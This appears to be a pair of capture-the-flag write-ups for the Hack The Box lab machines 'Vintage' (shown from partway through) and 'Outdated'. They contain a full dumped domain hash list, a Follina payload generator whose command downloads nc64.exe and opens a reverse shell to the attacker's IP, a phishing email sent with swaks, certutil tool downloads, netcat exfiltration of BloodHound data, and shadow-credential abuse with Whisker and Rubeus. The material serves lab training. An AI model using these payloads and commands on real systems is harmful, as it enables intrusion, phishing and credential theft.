puck@kali$ KRB5CCNAME=dc01\$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache netexec smb dc01.vintage.htb -k --use-kcache 
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\dc01$ from ccache

DCSync

From here I can do a DCSync attack to get hashes for the domain. For example, I can grab the administrator hash with netexec:

KRB5CCNAME=dc01\$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache netexec smb dc01.vintage.htb -k --use-kcache --ntds --user administrator

Or dump everything with secretsdump:

┌──(bolke㉿bolke)-[~/htb/vintage]
└─$ KRB5CCNAME=dc01\$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache secretsdump.py 'vintage.htb/dc01$@dc01.vintage.htb' -dc-ip dc01.vintage.htb -k -no-pass
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies 

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:468c7497513f8243b59980f2240a10de:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:be3d376d906753c7373b15ac460724d8:::
M.Rossi:1111:aad3b435b51404eeaad3b435b51404ee:8e5fc7685b7ae019a516c2515bbd310d:::
R.Verdi:1112:aad3b435b51404eeaad3b435b51404ee:42232fb11274c292ed84dcbcc200db57:::
L.Bianchi:1113:aad3b435b51404eeaad3b435b51404ee:de9f0e05b3eaa440b2842b8fe3449545:::
G.Viola:1114:aad3b435b51404eeaad3b435b51404ee:1d1c5d252941e889d2f3afdd7e0b53bf:::
C.Neri:1115:aad3b435b51404eeaad3b435b51404ee:cc5156663cd522d5fa1931f6684af639:::
P.Rosa:1116:aad3b435b51404eeaad3b435b51404ee:8c241d5fe65f801b408c96776b38fba2:::
svc_sql:1134:aad3b435b51404eeaad3b435b51404ee:cc5156663cd522d5fa1931f6684af639:::
svc_ldap:1135:aad3b435b51404eeaad3b435b51404ee:458fd9b330df2eff17c42198627169aa:::
svc_ark:1136:aad3b435b51404eeaad3b435b51404ee:1d1c5d252941e889d2f3afdd7e0b53bf:::
C.Neri_adm:1140:aad3b435b51404eeaad3b435b51404ee:91c4418311c6e34bd2e9a3bda5e96594:::
L.Bianchi_adm:1141:aad3b435b51404eeaad3b435b51404ee:8fc670eb02e15c49b9e2364a74c4c25e:::
DC01$:1002:aad3b435b51404eeaad3b435b51404ee:2dc5282ca43835331648e7e0bd41f2d5:::
gMSA01$:1107:aad3b435b51404eeaad3b435b51404ee:587368d45a7559a1678b842c5c829fb3:::
FS01$:1108:aad3b435b51404eeaad3b435b51404ee:44a59c02ec44a90366ad1d0f8a781274:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:5f22c4cf44bc5277d90b8e281b9ba3735636bd95a72f3870ae3de93513ce63c5
Administrator:aes128-cts-hmac-sha1-96:c119630313138df8cd2e98b5e2d018f7
Administrator:des-cbc-md5:c4d5072368c27fba
krbtgt:aes256-cts-hmac-sha1-96:8d969dafdd00d594adfc782f13ababebbada96751ec4096bce85e122912ce1f0
krbtgt:aes128-cts-hmac-sha1-96:3c7375304a46526c00b9a7c341699bc0
krbtgt:des-cbc-md5:e923e308752658df
M.Rossi:aes256-cts-hmac-sha1-96:14d4ea3f6cd908d23889e816cd8afa85aa6f398091aa1ab0d5cd1710e48637e6
M.Rossi:aes128-cts-hmac-sha1-96:3f974cd6254cb7808040db9e57f7e8b4
M.Rossi:des-cbc-md5:7f2c7c982cd64361
R.Verdi:aes256-cts-hmac-sha1-96:c3e84a0d7b3234160e092f168ae2a19366465d0a4eab1e38065e79b99582ea31
R.Verdi:aes128-cts-hmac-sha1-96:d146fa335a9a7d2199f0dd969c0603fb
R.Verdi:des-cbc-md5:34464a58618f8938
L.Bianchi:aes256-cts-hmac-sha1-96:abcbbd86203a64f177288ed73737db05718cead35edebd26740147bd73e9cfed
L.Bianchi:aes128-cts-hmac-sha1-96:92067d46b54cdb11b4e9a7e650beb122
L.Bianchi:des-cbc-md5:01f2d667a19bce25
G.Viola:aes256-cts-hmac-sha1-96:f3b3398a6cae16ec640018a13a1e70fc38929cfe4f930e03b1c6f1081901844a
G.Viola:aes128-cts-hmac-sha1-96:367a8af99390ebd9f05067ea4da6a73b
G.Viola:des-cbc-md5:7f19b9cde5dce367
C.Neri:aes256-cts-hmac-sha1-96:c8b4d30ca7a9541bdbeeba0079f3a9383b127c8abf938de10d33d3d7c3b0fd06
C.Neri:aes128-cts-hmac-sha1-96:0f922f4956476de10f59561106aba118
C.Neri:des-cbc-md5:9da708a462b9732f
P.Rosa:aes256-cts-hmac-sha1-96:f9c16db419c9d4cb6ec6242484a522f55fc891d2ff943fc70c156a1fab1ebdb1
P.Rosa:aes128-cts-hmac-sha1-96:1cdedaa6c2d42fe2771f8f3f1a1e250a
P.Rosa:des-cbc-md5:a423fe64579dae73
svc_sql:aes256-cts-hmac-sha1-96:3bc255d2549199bbed7d8e670f63ee395cf3429b8080e8067eeea0b6fc9941ae
svc_sql:aes128-cts-hmac-sha1-96:bf4c77d9591294b218b8280c7235c684
svc_sql:des-cbc-md5:2ff4022a68a7834a
svc_ldap:aes256-cts-hmac-sha1-96:d5cb431d39efdda93b6dbcf9ce2dfeffb27bd15d60ebf0d21cd55daac4a374f2
svc_ldap:aes128-cts-hmac-sha1-96:cfc747dd455186dba6a67a2a340236ad
svc_ldap:des-cbc-md5:e3c48675a4671c04
svc_ark:aes256-cts-hmac-sha1-96:820c3471b64d94598ca48223f4a2ebc2491c0842a84fe964a07e4ee29f63d181
svc_ark:aes128-cts-hmac-sha1-96:55aec332255b6da8c1344357457ee717
svc_ark:des-cbc-md5:6e2c9b15bcec6e25
C.Neri_adm:aes256-cts-hmac-sha1-96:96072929a1b054f5616e3e0d0edb6abf426b4a471cce18809b65559598d722ff
C.Neri_adm:aes128-cts-hmac-sha1-96:ed3b9d69e24d84af130bdc133e517af0
C.Neri_adm:des-cbc-md5:5d6e9dd675042fa7
L.Bianchi_adm:aes256-cts-hmac-sha1-96:395685cdaf840ed625d1cb37371be9ba6c8294039a87a02e4a28b883bc5845ac
L.Bianchi_adm:aes128-cts-hmac-sha1-96:ca5fe7c2261a49f5910c0926a6100ab1
L.Bianchi_adm:des-cbc-md5:cb021337589d313e
DC01$:aes256-cts-hmac-sha1-96:f8ceb2e0ea58bf929e6473df75802ec8efcca13135edb999fcad20430dc06d4b
DC01$:aes128-cts-hmac-sha1-96:a8f037cb02f93e9b779a84441be1606a
DC01$:des-cbc-md5:c4f15ef8c4f43134
gMSA01$:aes256-cts-hmac-sha1-96:a46cac126e723b4ae68d66001ab9135ef30aa4b7c0eb1ca1663495e15fe05e75
gMSA01$:aes128-cts-hmac-sha1-96:6d8f13cee54c56bf541cfc162e8a22ef
gMSA01$:des-cbc-md5:a70d6b43e64a2580
FS01$:aes256-cts-hmac-sha1-96:d57d94936002c8725eab5488773cf2bae32328e1ba7ffcfa15b81d4efab4bb02
FS01$:aes128-cts-hmac-sha1-96:ddf2a2dcc7a6080ea3aafbdf277f4958
FS01$:des-cbc-md5:dafb3738389e205b
[*] Cleaning up... 

 

Shell

Administrator Fails

The next step would be to take the NTLM hash for administrator, request a TGT, and use it to get WinRM access:

puck@kali$ getTGT.py vintage.htb/administrator@dc01.vintage.htb -hashes :468c7497513f8243b59980f2240a10de                          
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in administrator@dc01.vintage.htb.ccache
puck@kali$ KRB5CCNAME=administrator@dc01.vintage.htb.ccache evil-winrm -i dc01.vintage.htb -r vintage.htb

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint

Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Invalid token was supplied
Success

Error: Exiting with code 1

It fails. That’s because the Administrator account is restricted from logging in. I can see this with netexec:

┌──(bolke㉿bolke)-[~/htb/vintage]
└─$ netexec smb dc01.vintage.htb -u Administrator -H 468c7497513f8243b59980f2240a10de -k
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\Administrator:468c7497513f8243b59980f2240a10de STATUS_LOGON_TYPE_NOT_GRANTED

STATUS_LOGON_TYPE_NOT_GRANTED says that this user cannot log on, at least in this way.

L.Bianchi_adm

The Domain Admins group has two users in it:

I’ll try the same thing with L.Bianchi_adm:

└─$ getTGT.py vintage.htb/L.Bianchi_adm@dc01.vintage.htb -hashes :8fc670eb02e15c49b9e2364a74c4c25e
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in L.Bianchi_adm@dc01.vintage.htb.ccache
                                                                                                                     

└─$ KRB5CCNAME=L.Bianchi_adm@dc01.vintage.htb.ccache evil-winrm -i dc01.vintage.htb -r vintage.htb
                                        
Evil-WinRM shell v3.7
 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
 Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\L.Bianchi_adm\Documents>

 

It works, and I have a shell. I could have skipped the DCSync attack and just gotten a ticket as L.Bianchi_adm from the RBCD attack as well.

I’ll read root.txt:

That was Fun 🙂

Other handy enum tools

ldapsearch -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w 'Rosaisbest123' -b "DC=vintage,DC=htb" | tee -a ldap.data

ldapdomaindump -u 'vintage\P.Rosa' -p 'Rosaisbest123'  -o dump/ ldap://10.10.11.45 -at SIMPLE

.

Beyond root cleanup script

*Evil-WinRM* PS C:\windows\system32\tasks> type "C:\users\administrator\documents\cleanup.ps1"
Import-Module ActiveDirectory

$groupName = "ServiceManagers"
$accountsToAdd = @("C.Neri", "G.Viola", "L.Bianchi")
$currentMembers = Get-ADGroupMember -Identity $groupName -Recursive

foreach ($member in $currentMembers) {
    if ($accountsToAdd -notcontains $member.SamAccountName) {
        Remove-ADGroupMember -Identity $groupName -Members $member -Confirm:$false
        Write-Output "$($member.SamAccountName) has been removed from the $groupName group."
    }
}

foreach ($account in $accountsToAdd) {
    $groupMember = Get-ADGroupMember -Identity $groupName -Recursive | Where-Object { $_.SamAccountName -eq $account }

    if (-not $groupMember) {
        Add-ADGroupMember -Identity $groupName -Members $account -Confirm:$false
        Write-Output "$account has been added to the $groupName group."
    }
}

$groupName = "DelegatedAdmins"
$accountsToAdd = @("C.Neri_adm", "L.Bianchi_adm")
$currentMembers = Get-ADGroupMember -Identity $groupName -Recursive

foreach ($member in $currentMembers) {
    if ($accountsToAdd -notcontains $member.SamAccountName) {
        Remove-ADGroupMember -Identity $groupName -Members $member -Confirm:$false
        Write-Output "$($member.SamAccountName) has been removed from the $groupName group."
    }
}

foreach ($account in $accountsToAdd) {
    $groupMember = Get-ADGroupMember -Identity $groupName -Recursive | Where-Object { $_.SamAccountName -eq $account }

    if (-not $groupMember) {
        Add-ADGroupMember -Identity $groupName -Members $account -Confirm:$false
        Write-Output "$account has been added to the $groupName group."
    }
}

# Clear SPNs, disable svc_sql
Set-ADUser -Identity svc_sql -Clear ServicePrincipalName
Disable-ADAccount -Identity svc_sql
Set-ADAccountPassword -Identity svc_sql -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Zer0the0ne" -Force)
*Evil-WinRM* PS C:\windows\system32\tasks>

.

 

 

 

 

 

 

htb-outdated

HTB-OUTDATED

Summary

This machine was initially published with some unintended ways to root (i.e zerologon), and later those had been patched. The intended PE exploit is via WSUS.

This machine features several fairly new exploits such as follina, wsus etc. But in general, it’s also a bit unstable. So, exploit with patience.

Scanning

# Nmap 7.93 scan initiated Wed Dec 18 17:24:04 2024 as: nmap -Pn -A -oN ports.nmap 10.10.11.175
Nmap scan report for mail.outdated.htb (10.10.11.175)
Host is up (0.014s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: mail.outdated.htb, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 20241219 00:24:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 202412-19T00:25:36+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 202412-19T00:09:44
|_Not valid after: 202512-19T00:09:44
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 202412-19T00:25:35+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 202412-19T00:09:44
|_Not valid after: 202512-19T00:09:44
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 202412-19T00:09:44
|_Not valid after: 202512-19T00:09:44
|_ssl-date: 202412-19T00:25:36+00:00; +8h00m01s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 202412-19T00:25:35+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 202412-19T00:09:44
|_Not valid after: 202512-19T00:09:44
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 7h59m59s
| smb2-time:
| date: 202412-19T00:24:55
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 18 17:25:35 2024 — 1 IP address (1 host up) scanned in 91.07 seconds

.


Enum

From the above, the target might be another exercise on AD, ldap, kerberos. Let’s find some more info.

>

enum4linux outdated.htb


Domain Name: OUTDATED
Domain Sid: S-1-5-21-4089647348-67660539-4016542185

>

smbclient -N -L outdated.htb



Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share 
Shares          Disk      
SYSVOL          Disk      Logon server share 
UpdateServicesPackages Disk      A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system.
WsusContent     Disk      A network share to be used by Local Publishing to place published content on this WSUS system.
WSUSTemp        Disk      A network share used by Local Publishing from a Remote WSUS Console Instance.

There is a Shares folder. Connecting to it, we can find more info.

> 

smbclient -N \\\\outdated.htb\\Shares


smb: \> ls
  .                                   D        0  Mon Jun 20 11:01:33 2022
  ..                                  D        0  Mon Jun 20 11:01:33 2022
  NOC_Reminder.pdf                   AR   106977  Mon Jun 20 11:00:32 2022

                9116415 blocks of size 4096. 1440211 blocks available
smb: \> get NOC_Reminder.pdf
getting file \NOC_Reminder.pdf of size 106977 as NOC_Reminder.pdf (33.8 KiloBytes/sec) (average 33.8 KiloBytes/sec)
.

User: btables

We found a doc NOC_Reminder.pdf. Reading the content, we learnt that there are unpatched vulnerabilities and there is a valid email address at itsupport@outdated.htb, who checks email for links regularly.

Also, we learnt that there are some vulnerabilities unpatched, and one of them is exploitable via email: CVE-2022-30190

CVE-2022-30190 is also known as Follina, which is a relatively recent exploit on MS word/rtf docs, in which you can utilize a rarely used feature called Microsoft Support Diagnostics Tool (MSDT) that downloads malicious scripts via an embedded link. For more detail, check here: https://logrhythm.com/blog/detecting-follina-cve-2022-30190-microsoft-office-zero-day-exploit/

To exploit this, i used this exploit: https://github.com/JohnHammond/msdt-follina

Generate Payload

Use some code based on John Hammond’s POC. This POC does a lot of things, generating a Word document that will request the HTML payload, and even providing the webserver and catching the reverse shell. I’ll use just a couple lines that generate that HTML payload:

#!/usr/bin/env python3
import base64
import random
import string
import sys
if len(sys.argv) > 1:
command = sys.argv[1]
else:
command = “IWR http://10.10.14.10/nc64.exe -outfile C:\\programdata\\nc64.exe; C:\\programdata\\nc64.exe 10.10.14.10 443 -e cmd”
base64_payload = base64.b64encode(command.encode(“utf-8”)).decode(“utf-8”)
# Slap together a unique MS-MSDT payload that is over 4096 bytes at minimum
html_payload = f“”“<script>location.href = “ms-msdt:/id PCWDiagnostic /skip force /param \\“IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression(‘[System.Text.Encoding]’+[char]58+[char]58+’UTF8.GetString([System.Convert]’+[char]58+[char]58+’FromBase64String(‘+[char]34+'{base64_payload}’+[char]34+’))’))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\”“; //”“”
html_payload += (
“”.join([random.choice(string.ascii_lowercase) for _ in range(4096)])
+ “\n</script>”
)
print(html_payload)

.

It’s important to note that the payload must be padded out to larger than 4096 bytes to bypass user activity.

I’ll generate this payload and save it into a file I’ll then serve with Python’s webserver.

Trigger Exploit

I’ll send the link in an email to itsupport@outdated.htb using swaks:

.

┌──(puck㉿kali)[~/htb/outdated]
└─$ swaks –to itsupport@outdated.htb –from “puck@puck.htb” –header “Subject: Internal web app” –body “http://10.10.14.10/msdt.html”
=== Trying outdated.htb:25...
=== Connected to outdated.htb.
<220 mail.outdated.htb ESMTP
> EHLO kali
<250-mail.outdated.htb
<250-SIZE 20480000
<250-AUTH LOGIN
<250 HELP
> MAIL FROM:<puck@puck.htb>
<250 OK
> RCPT TO:<itsupport@outdated.htb>
<250 OK
> DATA
<354 OK, send.
> Date: Wed, 18 Dec 2024 17:39:47 +0100
> To: itsupport@outdated.htb
> From: puck@puck.htb
> Subject: Internal web app
> Message-Id: <20241218173947.018882@kali>
> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
>
> http://10.10.14.10/msdt.html
>
>
> .
<250 Queued (10.844 seconds)
> QUIT
<221 goodbye
=== Connection closed with remote host.

If this works, the user will click the link, requesting the msdt.html page, which I’ll serve, and moments later, I should get a request to upload nc64.exe (I’ll make sure there’s a copy in my web root) and then a shell on TCP 443. It works just like expected. Two get requests:

┌──(puck㉿kali)[~/htb/outdated]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …
10.10.11.175 – – [18/Dec/2024 17:40:06] “GET /msdt.html HTTP/1.1” 200
10.10.11.175 – – [18/Dec/2024 17:40:13] “GET /nc64.exe HTTP/1.1” 200

.

Then a shell:

┌──(puck㉿kali)[~/htb/outdated]
└─$ nc -nlvp 443
listening on [any] 443
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.175] 49807
Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. All rights reserved.
C:\Users\btables\AppData\Local\Temp\SDIAG_8676bad3-7f29-4e4c-8a83-804326c2b9fd>whoami
whoami
outdated\btables
C:\Users\btables\AppData\Local\Temp\SDIAG_8676bad3-7f29-4e4c-8a83-804326c2b9fd>

 

User: sflowers

Now, we can collect AD information as btables, which is a domain user.

Upload SharpBound.exe to the machine and start collecting domain info.

# download SharpHound to the target
> certutil -urlcache -f http://10.10.14.10:8000/SharpHound.exe SharpHound.exe

# run SharpHound
> SharpHound.exe -c All 

# send the result back
nc64.exe 10.10.14.10 5555 < 20241218170837_BloodHound.zip

> nc -nlvp 5555 > output.zip

or we use

serving smb

# impacket-smbserver -smb2support share . -user puck -pass puckpuck

on client

c:\temp>net use \\10.10.14.10\share /u:puck puckpuck
net use \\10.10.14.10\share /u:puck puckpuck
The command completed successfully.

c:\temp>copy 20241218170837_BloodHound.zip \\10.10.14.10\share\
copy 20241218170837_BloodHound.zip \\10.10.14.10\share\
1 file(s) copied.

Bloodhound Analyse the output finds that btables belongs to the group itstaff, and itstaff has the privilege to AddKeyCredentialLink to the user sflowers, who has psremote access to the DC.

The members of the group ITSTAFF@OUTDATED.HTB have the ability to write to the “msds-KeyCredentialLink” property on SFLOWERS@OUTDATED.HTB. Writing to this property allows an attacker to create “Shadow Credentials” on the object and authenticate as the principal using kerberos PKINIT.

To abuse this privilege, use Whisker.

You may need to authenticate to the Domain Controller as a member of ITSTAFF@OUTDATED.HTB if you are not running a process as a member

Whisker.exe add /target:<TargetPrincipal>

or abuse this privilege, use pyWhisker.

pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"

Shortest Paths to Unconstrained Delegation Systems

To get user sflowers, we need to utilise a technique called ShadowCredentials, for more detail, refer to this: https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials

Basically, we can add new properties to the user sflowers, so, we can add a new property as a valid credential for the user sflowers to authenticate, and we can then use the new credential we created to pull the TGT of sflowers, which we can use for persistent access as sflowers.

To do so, we need some windows exploit binaries, which can be downloaded from here: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

Note that Whisker needs to be self compiled or decompressed from here: https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries

# upload binaries
> certutil.exe -urlcache -f http://10.10.14.10:8000/Whisker.exe Whisker.exe
> certutil.exe -urlcache -f http://10.10.14.10:8000/Rubeus.exe Rubeus.exe

# run whisker to add a new property as a new credential for sflowers
> Whisker.exe add /target:sflowers

Rubeus.exe asktgt /user:sflowers /certificate:<base64-cert> /password:"81IrT8oSxfA0pBoe" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

thus

c:\temp>Whisker.exe add /target:sflowers
Whisker.exe add /target:sflowers
[*] No path was provided. The certificate will be printed as a Base64 blob
[*] No pass was provided. The certificate will be stored with the password 81IrT8oSxfA0pBoe
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Generating certificate
[*] Certificate generaged
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID 6a790b88-4b86-4573-a370-9adc1b30ab23
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] You can now run Rubeus with the following syntax:
Rubeus.exe asktgt /user:sflowers /certificate:MIIJuAIBAzC–snip–BBQZ+QkWHwIHU/1WhBtmHUcA+lq2+wICB9A= /password:“81IrT8oSxfA0pBoe” /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show
c:\temp>
running this Rubeus.exe asktgt /user:sflowers /certificate:MII... command outputs:
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=sflowers
[*] Building AS-REQ (w/ PKINIT preauth) for: ‘outdated.htb\sflowers’
[*] Using domain controller: 10.10.11.175:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
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
ServiceName : krbtgt/outdated.htb
ServiceRealm : OUTDATED.HTB
UserName : sflowers (NT_PRINCIPAL)
UserRealm : OUTDATED.HTB
StartTime : 12/18/2024 5:31:41 PM
EndTime : 12/19/2024 3:31:41 AM
RenewTill : 12/25/2024 5:31:41 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : cN1Bk+mqBOcR14SubTGASw==
ASREP (key) : 17F6045F81E34A88A319CE8C12CA262D
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : 1FCDB1F6015DCB318CC77BB2BDA14DB5
c:\temp>

At the end of whisker, it will generate a Rubeus command to pull the TGT of sflowers

> Rubeus.exe asktgt /user:sflowers /certificate:<base64-cert> /password:"el84kTr1afLpoMWG" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

Note the

NTLM : 1FCDB1F6015DCB318CC77BB2BDA14DB5

, this can be used as the

ntlm

hash for the user sflowers.

Now, we can PSRemote into the target as sflowers using the ntlm hash we obtained via shadow credential

>

evil-winrm -i outdated.htb -u sflowers -H 1FCDB1F6015DCB318CC77BB2BDA14DB5

PE: WSUS

Perform enum using winpeas, we found that there is a wsus server configured that is using non-https.

  [+] Checking WSUS
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus
    WSUS is using http: http://wsus.outdated.htb:8530
    [i] You can test https://github.com/pimps/wsuxploit to escalate privileges
    But UseWUServer is equals to , so it may work or not

We continue checking for several registry values

.

*Evil-WinRM* PS C:\Users\sflowers\Documents> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
